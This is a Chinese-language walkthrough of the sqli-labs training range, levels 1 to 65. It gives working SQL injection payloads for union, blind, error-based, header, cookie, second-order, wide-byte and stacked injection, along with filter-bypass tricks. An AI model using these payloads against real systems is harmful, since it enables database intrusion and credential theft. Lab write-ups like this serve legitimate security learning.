sql漏洞闯关记录笔记(1~15)

1.基本知识

首先我们先了解SQL注入是什么:

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一,其实就是恶意用户通过在可提交给数据库的地方写入恶意代码,将数据库的数据提取出来。.

2.工具

在1~25关,我们要用到hacbar,burpsuit,中国蚁剑,并且我用的是phpstudy2018来配置的Apache和mysql.

3.less 1,2,3,4

之所以把1234关一起破解,

是因为它们属于同一类型,下面我们来看一看他们的不同点与相同点:

3.1以第一关为例,我们先找到www文件(及网站根目录),找到sqli靶场的第一关,在index.php文件中,添加两行代码(建议每一关都加),如图:添加 echo $sql; echo "<br>";, 这两行的意思是将我们输入的sql语句显示到页面上,然后换行,这有助于我们更好理解注入的原理;
3.2我们进入第一关
3.3我们发现需要我们输入id信息,输入?id=1,如图:

3.4发现页面上输出了我们的登录名和密码,这时候我们不要着急往下做,我们先看一下后端源码,了解一下SQL注入的逻辑,我们挑主要的看一下,如图:

3.4.1我们一句一句的来分析一下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

3.4.2这句SQL语句的意思是从数据库中查找数据,也是sql注入的关键位置。简单来说,这行代码的意思就是,我们要从 user这个表里面,查询所有id等于我们输入id的内容,然后只取一条反馈到页面上。limit0,1指的是users表从第零行开始输出1个信息(及表中的第一个信息);


echo $sql;

3.4.3这句的意思是将刚写入的SQL语句输出到屏幕上来,方便我们注入时理解

$result=mysql_query($sql);

3.4.4我们注意到mysql_query函数,他的作用是将我们刚写的sql语句执行,但它的结果只会返回ture和false,无法返回我们通过sql语句所获得的数据信息。

$row = mysql_fetch_array($result);

3.4.5这行的mysql_fetch_array的函数就解决了我们刚刚的问题,它的作用是将我们执行的sql语句所获得的数据保存在一个数组里。

if($row){echo "<font size='5' color= '#99FF00'>";``echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }

3.4.5剩下的代码就是输出我们的username和password,还要注意的就prin_f(mysql_error())这个函数,他的作用是返回一个带有错误描述的字符串。如果没有错误发生则返回 “”,这是我们之后进行报错注入的关键。

3.4.6在了解完源码之后,我们重点看一下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
其中的$id就是我们可操作的内容,也就是说我们需要利用这行代码来提取出数据库的所有信息,这时我们回到第一关,输入?id=1’,看看结果;
发现报错,我们分析一下,在后端执行的sql语句为
SELECT * FROM users WHERE id='1'' LIMIT 0,1
可以看到它只能执行到id='1’后面的 ’ LIME 0,1有语法错误,所以我们在第二个 ’ 后用–+将后面注释掉,再执行看一下。如图:
可以看到没有报错,并且我们看到这道题是有回显的(即会把信息返回到页面上),这里我们用到order by函数:
order by函数用来判断该数据库当前使用的表有几列,从大往小,直到不会报错即为最大,我测试完为3,这里就不多测试了,接下来来判断哪一列有回显位置,用到了
1' and 1=2 union select 1,2,3 --
如图:
这里涉及到了一个知识点,id 后面跟着的等式为1=2 。这里,就跟union 这个语句有关了。这是sql注入里面很常用的东西,用法是将前后两个sql语句结合起来,但是,如果第一条成立,那么在显示位置有限的情况下,后面的查询虽然也正常执行了,但是却不会在网页上反馈,如果我们希望在屏幕上直接看到返回结果,就需要让前方的语句错误。
接下来我们就知道了2,3的地方是有回显的,可以进行sql注入,这里给大家介绍一些简单的查询语句:

查库:select schema_name from information_schema.schemata;查表:select table_name from information_schema.tables where table_schema='security';查列:select column_name from information_schema.columns where table_name='users';查字段:select username,password from security.users;

sqli靶场的库默认security表默认users
这些语句可以配合limit使用,但是更推荐用group_concat函数,给大家举个栗子;
对比group_concat:
group_concat函数就是将所有值返回,还有一个函数

concat_ws('~',username,password)

这个是将字段名连起来输出,我们再配合group_concat函数

group_concat(concat_ws('~',username,password)) from security.users --+

来看下效果:
查字段简直不要太简单o( ̄▽ ̄)d,这就是大致的流程,1~4关的过程只有对id的闭合方式不同,比如第一关的闭合方式是 ‘id’,我们用‘进行闭合,此外闭合方式还有 id “id” (id) (’id‘)((id)) ((‘id’)) ((“id”))等 ,我们可以输入每一种方式的右半边根据它的报错信息来判断它的闭合方式

了解了全部过程后,我们进入less5,如图:

我们照常输入?id=1,发现只会返回 You are in…,这关就要用到著名的布尔盲注,接下来我们先寻找它的闭合方式:

我们输入?id=1’发现报错,在后面加上注释符返回You are in,所以它的闭合方式就是用 ‘ 来闭合的,并且我们知道如果语句是对的,才返回You are in…,我们希望看到的内容并不会在页面上得到反馈了,这就是布尔盲注。下面就要用到几个函数:

•1. left()函数: left(database(),1)=‘s’           left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
•2. substr()函数   substr(database(),1,1)='s'           substr(a,b,c)从位置b开始,截取a字符串c位长度
•3. ascii()    将某个字符串转化为ascii值

现在,我们已经不能直接查询到数据库的信息了,但是我们可以用猜的方式来获取信息;比如,判断数据库的长度:

1’ and length(database())=8–+

判断该数据库的名称:
大家可能会觉得这样太麻烦了,这里可以用burpsuit抓包的进行暴力破解,快速得到结果,接下来就用下面这些语句来进行

1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1 --
1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --
1' and 1=((select count(*) from information_schema.columns where table_name='users')=6) --
1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>1 --
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U' -- 

这是一些基本的模板,灵活运用就可以提取出信息,less5,6,7,8都是一样的过程,我们直接来到第9关

照常,我们输入?id=1,发现返回yuo are in,我们再输入id=1000也会返回you are in,我们发现不论我们输入的是对是错都会返回you are in,我们先来看一下源码

发现它的逻辑是无论如何都会返回you are in,这是引用一种新的注入即时间盲注,他用到了if和sleep函数,我们简单介绍一下:

sleep函数是令来控制响应时间的,sleep(5)就是令页面等5秒后再响应;
if(条件,条件成功返回结果,条件失败返回结果);

利用if语句和sleep函数,我们就可以通过响应时间来判断语句的对错
可以用布尔盲注的情况基本都可以用到时间盲注,但反过来却不行
闯关时只要将if和sleep加上即可,比如:

1" and if(length((database()))<1,sleep(3),1)

其实我们再仔细观察就会发现语法错误的情况会比正确的要多一句echo语句,它返回报文的字节长度要更长,所以我们依然可以用布尔盲注来做但要搭配burpsuit来查看它的返回报文长度和时间,大家下去可以自己试一试(若想用爆破的话记得线程数调成1);
第10关过程基本一样,所以我们直接进入第11关:

我们进入后发现是输入框,我们查看一下源码:

f(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];

我们发现这一段代码,他的意思是我们输入的账号和密码会以post的请求方式提交并保存,和我们之前以get形式输入不同

$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";echo $sql;echo "<br>";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';  echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';    echo "<br>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"  />';   echo "</font>";}else  {echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>";  }

这段代码是它的执行逻辑,我们重点看一下

$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

可以看到这行代码应该用单引号闭合,我们先用burp抓包得到post数据,然后就可以进行sql注入,如图:(注意post的注释符为#)

构造 1’ or 1=1 #

首先,我们使用单引号闭合语句原本的单引号,然后在后面构造了一个恒等式。所以,虽然我们输入的1在数据库中找不到内容,但是因为后面的1=1恒成立,并且我们的连接符为or,所以只要有一个条件成立,网站就会返回正确的内容。而两个横杠,又注释掉了后面的内容,所以我们只输入了一个1就可以成功的看到访问成功之后才可以看到的内容,而sql万能密码,基本也都使用的这个逻辑。

接下来,就是我们熟悉的操作了,判断有几列—判断回显位置—提取信息…
11关与12关的区别就是闭合方式不同,在这里不再赘述

进入13关,如图:
我们发现这关没有回显位置,很显然我们进行布尔盲注,这也很简单,举个栗子,比如:

uname=1’) or length((database()))>1#

和我们之前写的没有太大区别,14,15关也只是闭合方式不同,就不展开细说了。

我们重点看一下17关,这关涉及到了报错注入,再开始这关之前,我们先补充一些基础知识:
首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

我们一般构造的语句为

updatexml(1,concat(0x7e,(databases()),0x7e),1)
0x7e就是~,因为~.......~不符合Xpash语法,所以会报错,报错内容为
ERROR 1105 (HY000): XPATH syntax error: ':security@localhost'

我们发现在报错的时候,报错信息被带了出来。

我们先在17关的源码中,在$sql和sql和sql和update下插入几行代码

// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
echo $sql;
echo "</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;if($row){//echo '<font color= "#0000ff">';   $row1 = $row['username'];    //echo 'Your Login name:'. $row1;$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";echo $update;echo "</br>";mysql_query($update);echo "<br>";if (mysql_error()){echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";}else{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ;      echo "<br>";echo "</font>";}echo '<img src="../images/flag1.jpg"   />';  //echo 'Your Password:' .$row['password'];echo "</font>";}else  {echo '<font size="4.5" color="#FFFF00">';//echo "Bug off you Silly Dumb hacker";echo "</br>";echo '<img src="../images/slap1.jpg"   />';echo "</font>";  }
}

我们进入17关,输入admin后,发现它的提示为:

提示让我们更新密码,所以我们这一关的环境不是在登录时的sql注入而是在已经登陆进行修改密码时的sql注入(言外之意是我们已经知道了用户名,对密码进行操作)。假设我们没有发现,我们正常注入

uname=admin'&passwd=admin&submit=Submit

结果为

我们发现两个疑点,一是我们输入‘后,返回的语句中有/进行里转义,可见在后端代码中对username进行了过滤,二是只返回了username的语句信息,没有password的信息,这个我们可以在源码中找到答案,根据上面的源码,我们可以发现只有username不为空且和数据库中的username相对应,才会返回password的语句,这也证实了我们不能在username进行注入

那么,我们尝试在password上注入,构造语句:

uname=admin&passwd=admin’#&submit=Submit

这时我们想一想,这关可以用什么方式进行呢,不论我们密码输入的是什么,答案一定不会出错,所以我们不能用布尔盲注,应该用时间盲注或报错盲注,我们这关熟悉一下报错盲注,构造语句如下:

查库:uname=admin&passwd=adm'and updatexml(1,concat(0x7e,(database()),0x7e),1)#&submit=Submit

接下来就是我们构造熟悉的payload,注意要利用limit,显示行只有一行

查表:uname=admin&passwd=adm'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&submit=Submit
查字段:select username,password from security.users;

最后在报字段的时候出现了问题,如图:

uname=admin&passwd=adm'and updatexml(1,concat(0x7e,(select username,password from security.users limit 0,1),0x7e),1)#&submit=Submit

当我们这么构造语句的时候
You can't specify target table 'users' for update in FROM clause
这个错误是指在select一个表的时候,不能同时update这个表,所以我们把这个表的数据先select出来,再在这个结果上select这些数据,就不会与updata冲突了,所以我们构造语句

uname=admin&passwd=adm'and updatexml(1,concat(0x7e,(select password from ((select password from users)limit 0,1),0x7e),1)#&submit=Submit

但又出了问题
这个的解决办法是加上as,相关文档

uname=admin&passwd=adm'and updatexml(1,concat(0x7e,((select password from((select password from users)as formingisveryhandsome) limit 0,1)),0x7e),1)#&submit=Submit

进入18关:

在开始之前,我们先修改一下源码,在sql和insert语句下面加入相关语句:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";echo $sql;echo "</br>";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";echo $insert;echo "</br>";mysql_query($insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";echo '<font color= "#0000ff" font size = 3 >';           echo 'Your User Agent is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysql_error());           echo "<br><br>";echo '<img src="../images/flag.jpg"  />';echo "<br>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";         echo "</br>";echo '<img src="../images/slap.jpg"   />';  echo "</font>";  }}?>

进入后我们发现
页面上输出了我们的id和头文件
我们如果先正常注入的话,发现username和password都进行了转义:
所以我们应该想到注入点可能是user-agent和id,我们先以user-agent为例(IP地址应该也可以,等我有时间试一下),我们利用hackbar的user-agent功能修改值,构造语句:

'or  updatexml(1,concat(0x7e,(database())),1) or '1' ='1
这是构造完的后端语句
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and updatexml(1,concat(0x7e,(database())),1) or '1' ='1', '127.0.0.1', 'admin')

找到注入点之后过程就和17关无异了,爆库,表,字段即可,就不多赘述了.
进入19关,我们照常修改代码:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";echo $sql;echo "</br>";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";echo $insert ;echo "<?br>";mysql_query($insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";echo '<font color= "#0000ff" font size = 3 >';          echo 'Your Referer is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysql_error());          echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";          echo "</br>";echo '<img src="../images/slap.jpg"  />';   echo "</font>";

可以发现这关与18关的的代码基本相同,有区别的是回显的类别不同,上一关为user-agent,这一关为referer,所以我们构造语句:

 'and updatexml(1,concat(0x7e,(database())),1) or '1'='1


这里我用的是Firefox自带的插件modheader,也可以用hackbar,burp等,成功爆出信息。
接下来进入到第20关,我们输入admin,admin发现进入到如下界面:

我们重点看一下这段源代码:

echo "<br></font>";$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";$result=mysql_query($sql);if (!$result){die('Issue with your mysql: ' . mysql_error());}$row = mysql_fetch_array($result);if($row){echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username'];echo "<br>";echo '<font color= "grey" font size="5">';      echo 'Your Password:' .$row['password'];echo "</font></b>";echo "<br>";echo 'Your ID:' .$row['id'];}else  {echo "<center>";echo '<br><br><br>';echo '<img src="../images/slap1.jpg" />';echo "<br><br><b>";//echo '<img src="../images/Less-20.jpg" />';}echo '<center>';echo '<form action="" method="post">';echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';echo '</form>';echo '</center>';}   else{echo '<center>';echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo '<font color= "#FFFF00" font size = 6 >';echo " Your Cookie is deleted";setcookie('uname', $row1['username'], time()-3600);header ('Location: index.php');echo '</font></center></br>';}      echo "<br>";echo "<br>";//header ('Location: main.php');echo "<br>";echo "<br>";//echo '<img src="../images/slap.jpg" /></center>';//logging the connection parameters to a file for analysis.   $fp=fopen('result.txt','a');fwrite($fp,'Cookie:'.$cookee."\n");fclose($fp);}
?>

发现他的username是从cookie中取的,所以理论上我们修改cookie的值并构造语句就可以达到注入的效果,这里我用得是火狐的插件cookie-editor


这里我们通过修改cookie的数据发现闭合方式为‘闭合,构造语句:

-1' union select 1,database(),user()#
用联合查询即可

我们进入下一关:21关
这里我们发现,他这一关依然有cookie信息,我们用cookie-editor打开,发现是YWRtaW4(%3d是=),可见cookie是被加密过的,我们用base64解码后发现
所以我们只要将上一关构造的语句加密就可以了:

') union select 1,group_concat(schema_name),3 from information_schema.schemata #
加密后
JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM=

22关的区别在于闭合方式的不同,为“,剩下的与21关完全相同:
进入23关:
我们发现‘的时候报错,输入–+后依旧报错,我们猜后端对–+进行了转义。我们看一下后端代码:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");// take the variables
if(isset($_GET['id']))
{$id=$_GET['id'];//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

可以看到后端对–+和#都进行了过滤,所以我们用url结束符: ;%00

思路步骤如下:

•1. ?id=1 返回正常•2. ?id=1’ 返回异常,说明可能存在漏洞•3. ?id=1’ --+ 或者?id=1’ # 均返回错误,通过源代码分析,我们得知--+  # 都被替换为了空格,这里使用   ;%00充当注释符•4.?id=1‘ order by 3 ;%00 查多少列•5. ?id=-1’ union select 1,2,3  ;%00  查找回显位置•6. ?id=-1‘ union select 1,2, group_concat(schema_name) from  information_schema.schemata  ;%00 查库名•7. ?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479  ;%00 查表名•8. ?id=-1‘ union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273  ;%00 查字段名•9. ?id=-1‘ union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users  ;%00 查出字段中所有的值

大家可能发现了没有用order by来判断列数,是有原因的,给大家举个例子:

•以less-23为例,我们使用正常的order by来查询一下一共有多少列:•1. ?id=1‘ order by 10 因为没有闭合,所以肯定会报错•2. ?id=1‘ order by 10 and ’1‘=‘1 返回是正常的,但是由于我们已知肯定没有10列,这是为什么还会返回正常?•3. ?id=1‘ order by 10 or ’1‘=‘1 此时使用or,返回依旧正常。•我们回到mysql命令行,执行以下语句:•1. select * from users where id =1 ; 此时返回数据肯定是正常的。•2. select * from users where id =1 and 1=1; 此时返回数据也是正常的。•3. select * from users where id =1 or 1=1;  此时返回了所有的数据。•4. select * from users where id =11111 or 1=1; 此时也是返回了所有的数据。 说明执行的时候是 A or B •5. select * from users where id =1 order by 3; 返回正常,肯定正常。•6. select * from users where id =1 order by 3 and 1=1; 此时依旧返回正常。•7. select * from users where id =1 order by 4444 and 1=1;  此时返回正常
这个神奇的现象与sql的执行顺序有关

这有解释,感兴趣的可以看一下具体解释

•我们在url中构造?id=1‘ order by 10 or ’1‘=‘1 已知这种构造是错误的,但是如何使用order by 语句进行报错呢?•1. select * from users where id =1 and 1=1 order by 10; 在sql语句中,我们可以使用这种语法,原因是因为•id=1 and 1=1 作为where的条件,被执行之后得到结果,然后执行order by,因为结果中没有第10个字段所有报错了。在第二个查询语句中,order by在where的条件中,在where执行时被忽略了,得到结果之后并未再执行order by。•但是针对本题中:•2. ?id=1‘ or ’1‘=’1 order by 10 对应的sql语句: SELECT * FROM users WHERE id=‘1’ or ‘1’=‘1 order by 10’ LIMIT 0,1  我们知道永远都不可能有报错的情况,所以对此,less23中建议使用union select进行•?id=1111‘ union select 1,2,3,4 and ’1‘=‘1 使用这样的,或者使用or,这是因为这里的and 或 or作为了联合查询第二个语句的条件而不是第一个语句where的条件。

所以不能用order by来判断列数,另外这一关也可以用报错注入
我们进入24关后,输入admin,admin后,发现是一个可以更换密码的功能,在这之前我们先补充一下二次注入的原理:

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。 流程图

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理

我们先创造一个新用户admin’# 密码为123456:
然后我们登录,修改密码为234567,成功后退出,然后我们用admin 密码为234567登录,发现成功登录:
发现能成功登录,这是为什么呢,我们刚修改的是admin’#的密码为什么admin的密码却改变了,我们可以猜想后端的代码

•UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'•UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'•UPDATE users SET PASSWORD='123456' where username='admin’

在前端对username进行了中的特殊符号进行了转义,但在提取数据库信息时却直接将完整数据提出,导致形成了二次注入;
进入25关:

我们先输入id=1,并可以发现在最下面会显示我们输入的数据,接下来我们正常注入:

?id=1' order by 3--+

当我们注入到这一步时会发生报错,我们发现后端处理过的语句和我们输入的不一样:

可以推断出后端是对or进行了过滤,所以我们要绕过or,我们先试试大写:
发现不行,再试试双写:

发现双写可以绕过,在此基础上我们使用联合查询:

?id=-1'  union select 1,2, table_name from infoorrmation_schema.tables where table_schema='security'--+

将数据按联合查询的步骤进行即可,还有一种方法用||来代替or,所以我们也可以用||加updatexml来进行报错注入,大家可以下去自己尝试:

来到25a这关,和25的区别就是id的包裹方式不同,其余与25关完全相同,就不多赘述了
进入第26关:
我们正常输入?id=1’–+后,发现注释符出了问题,所以我们用;%00截断,如图:

以后我们输入?id=1' oorr '1'='1 ;%00发现or被过滤,我们双写进行绕过,并用报错注入获取信息,

?id=1' || updatexml(1, concat(0x7e, ( database()  ) ),1)  || '1'='1

此后修改updatexml的信息即可,但因为显示位置有限,我们可以这么构造
但有一个问题,就是显示位置有限,我们可以这么构造
?id=1' || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where (id=2) ) ) ,1) || '1'='1 没有用到空格:
因为这一关的空格呗过滤掉了,所以我们采用报错注入,但是如果想要用到联合注入,我们就需要用到字符编码,参考链接
将空格进行转义,也可以实现。

进入26a关:
26a与26关的区别在于闭合方式的不同,以及不显示报错信息,这就意味着我们不能用报错注入,所以我们用字符编码的方式来进行联合注入,这个相对简单就不演示了

进入27关:
我们正常输入发现它过滤了空格,我们用字符编码代替%a0 ,就可以通过了,之后用联合查询爆出数据,但注意这里对select和union进行了过滤,部分大写也进行了过滤,通过下面的hit来判断过滤的字母,这关同样可以用报错注入,27关完成

进入27a,我们进入后先判断id的包裹方式,为“,并发现没有错误回显,如图:

所以我们使用联合注入,构造语句:

?id=111"%0a  uNIon  %0a  sElEct  %0a    1,2,3  %0a ||"1"="1

再1,2出构造语句即可:

进入28关:
我们判断出闭合方式为’),所以下一步进行联合注入:

?id=1')  %0a order  %0a  by %0a  3 ;%00

之后用联合注入的方法注入即可,因为此关没有报错信息,所以不能用报错注入。

进入28a关

这关与28关几乎相同,仅仅是过滤不同,我们可以构造语句

?id=1111') %a0 UNIOn   %a0  SElECT  %a0  1,2,3 --+

即可。

进入29关:
在进入29关之前,我们先看一张图
29-31关的服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反,所以我们需要先搭载一个jsp的环境

进入后我们输入两个参数:
第一个参数事提交给tomcat,第二个由tomcat提交给php所以我们需要对第二个参数进行sql注入
我们构造语句

?id=1&id=3' order by 3--+ ?id=1&id=113'union select 1,2, 3  --+

用联合查询即可,操作与第一关无异,30关31关的闭合方式依次为“ , ”),其余与29关相同

进入32关:

这关对‘进行了转义,我们可以通过宽字节来注入,构造下面语句:
在用联合查询即可:

进入33关:
这一关用到了PHP addslashes() 函数,他的作用是在每个双引号(")前添加反斜杠,如图:
这关我们依旧可以用宽字节的方法,且步骤与32关完全相同。

进入34关:
这一关是使用post方法进行的,且也用了PHP addslashes() 函数,如图:
g但是%也会被转义,我们用burp抓包,
将%25改为%即可,利用burp的重发功能,多次尝试;
用联合注入得到结果:

进入35关

这一关依旧用的是 addslashes()函数,但是它的包裹方式就是id,所以我们尽量避免’的出现,直接构造?id=1 union select 1,2–+,用联合查询即可,也可以用时间盲注。

进入36关:
这一关用到了mysql_real_escape_string() 函数,它的作用是将下列字符进行转义
\x00
\n
\r


"
\x1a
我们进入后使用宽字节注入:

然后就构造语句,如:

id=1111%df‘   union select 1,2,group_concat(schema_name) from information_schema.schemata  --+

即可。

进入37关:

这一关与34关的区别就是过滤函数的不同,依然用burp抓包来实现,具体可以看34关。

进入38关:

进入这一关之前,我们先了解一个概念即堆叠注入:从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用,比如我们可以在搜索的同时创建一个表

如图:
操作成功,即注入成功
39,40关仅仅改变了id的包裹方式,41关是关闭了错误回显,作者在划水。

进入42关:

进入后,发现和二次注入有点像
经过测试,我们发现username有过滤,但在password没有:
所以我们构造语句a’; create table crow like users; 如图
显示错误,但是执行成功了,感觉像彩蛋。

进入43关的区别在于password的包裹方式不同,直接过。

进入44关,没有了报错回显,但是并不影响,我们构造语句

a’; create table crow like users; #

在MySQL中确定即可,MySQL就是回显

而45关,只是包裹数据类型变为‘),其余和之前并无差别,就不多赘述了

进入46关:

我们修改sort的值
发现sort的值是改变排列方式,我们再试一下:
判断出后端语句是select * from users order by,我们进行闭合并构造

?sort=3  and updatexml(1,concat(0x7e,(database())), 1)--+

之后构造语句即可,第47关是闭合方式为‘,剩下都相同

进入48关:
我们发现错误没有回显,所以我们使用时间盲注
构造语句如:

if(length(database())={8},1,sleep(5))--+

49关只有闭合方式不同,就不多说了

进入50关:
直接报错注入或时间盲注:

51关的sort包裹不同,进入52。53关:

这一关没有报错信息,直接用时间盲注,与48 关相似:

进入54关:
这一关对我们访问次数做了限制,只允许访问10次

我们正常注入

?id=-1' union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema ='challenges'  --+

55,56,57关对id值的处理不同,剩余都相同:

进入58关,不能使用联合注入,进行报错注入:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema= 0x4348414c4c454e474553 ),1) --+

构造例如上述语句即可:59,60,61关相似,只改变id的包裹的方式

进入62关:
我们看到130次就知道要用时间盲注了,这里就不举例了,建议使用脚本:
63,64,65关几乎相同;就不说了

sqli-labs闯关记录(1~65关)相关推荐

  1. 【xss-labs】闯关记录16~18

    [xss-labs]闯关记录16~18 [level-16]%0a绕过空格 1.测试流程 扔一个payload:<script>alert(888)</script>试试: 结 ...

  2. 70亿人(7 billion humans)闯关记录

    文章目录 前言 一.7 Billion Humans是什么? 二.闯关记录 总结 前言 70亿人(7 billion humans)闯关记录 一.7 Billion Humans是什么? 早前,「70 ...

  3. 【CTF】梦之光芒/Monyer的游戏闯关记录

    eGl的梦之光芒Game1解题记录 刚接触安全的时候偶然间发现了这个小游戏,当时凭自己一点点的基础知识闯过了4.5关这样子,然后就一头雾水了.这个游戏也一直躺在我的收藏夹里.不想前几天偶然打开发现和c ...

  4. 计算机游戏88关,天天象棋88关怎么过 闯关模式第88关图文攻略

    天天象棋88关怎么过?闯关模式第88关图文攻略.天天象棋闯关模式第88关怎么过?天天象棋是一款上线的全新休闲类手游,这是一款玩家对战的象棋游戏,对于广大棋类游戏爱好者来说,绝对是很值得玩一玩的,游戏的 ...

  5. 光棍节程序员闯关秀(总共10关)

    程序员闯关大挑战: https://1111.segmentfault.com/ 仓鼠演示7k7k.4399小游戏: http://cdn.abowman.com/widgets/hamster/ha ...

  6. sqli-labs 30到65关

    less-31 逻辑跟30关一样,只不过 $id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LI ...

  7. upload-labs刷关记录

    闲来无聊,把upload-labs所有的关卡都刷一遍,就当复习一下文件上传漏洞的各种绕过技巧吧,做完一关再看看源代码提高一下审计能力挺好的 Pass-01 一个前端检测,可以禁用js,也可以直接抓包就 ...

  8. Cheat Engine Tutorial 闯关手记 第六关

    转载自 76512 结合第四关与第五关的教程,可以将数值存储的真正地址找出来,锁定数值或修改游戏中的代码,如果你想制作在任何电脑上都能使用的修改器补丁,那么这两关的学习至少是个前题. 本关的说明解释如 ...

  9. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

最新文章

  1. jQuery select操作控制方法小结
  2. 【Kali渗透全方位实战】使用Nmap进行端口探测-发现脆弱站点
  3. java初始化集合_Java 中初始化 List 集合的 6 种方式!
  4. linux中使用apt-get安装软件包的时候报错:E: Could not get lock /var/lib/dpkg/lock-frontend
  5. springMvc解决json中文乱码
  6. docker搭建常见组件
  7. (五)开源IT资产管理系统--分发OCS客户端
  8. Android Listview中Button按钮点击事件冲突解决办法
  9. ES6之Module的语法(2)
  10. NumPy Beginner's Guide 2e 带注释源码 九、使用 Matplotlib 绘图
  11. 转载:NPOI导出到Excel表格
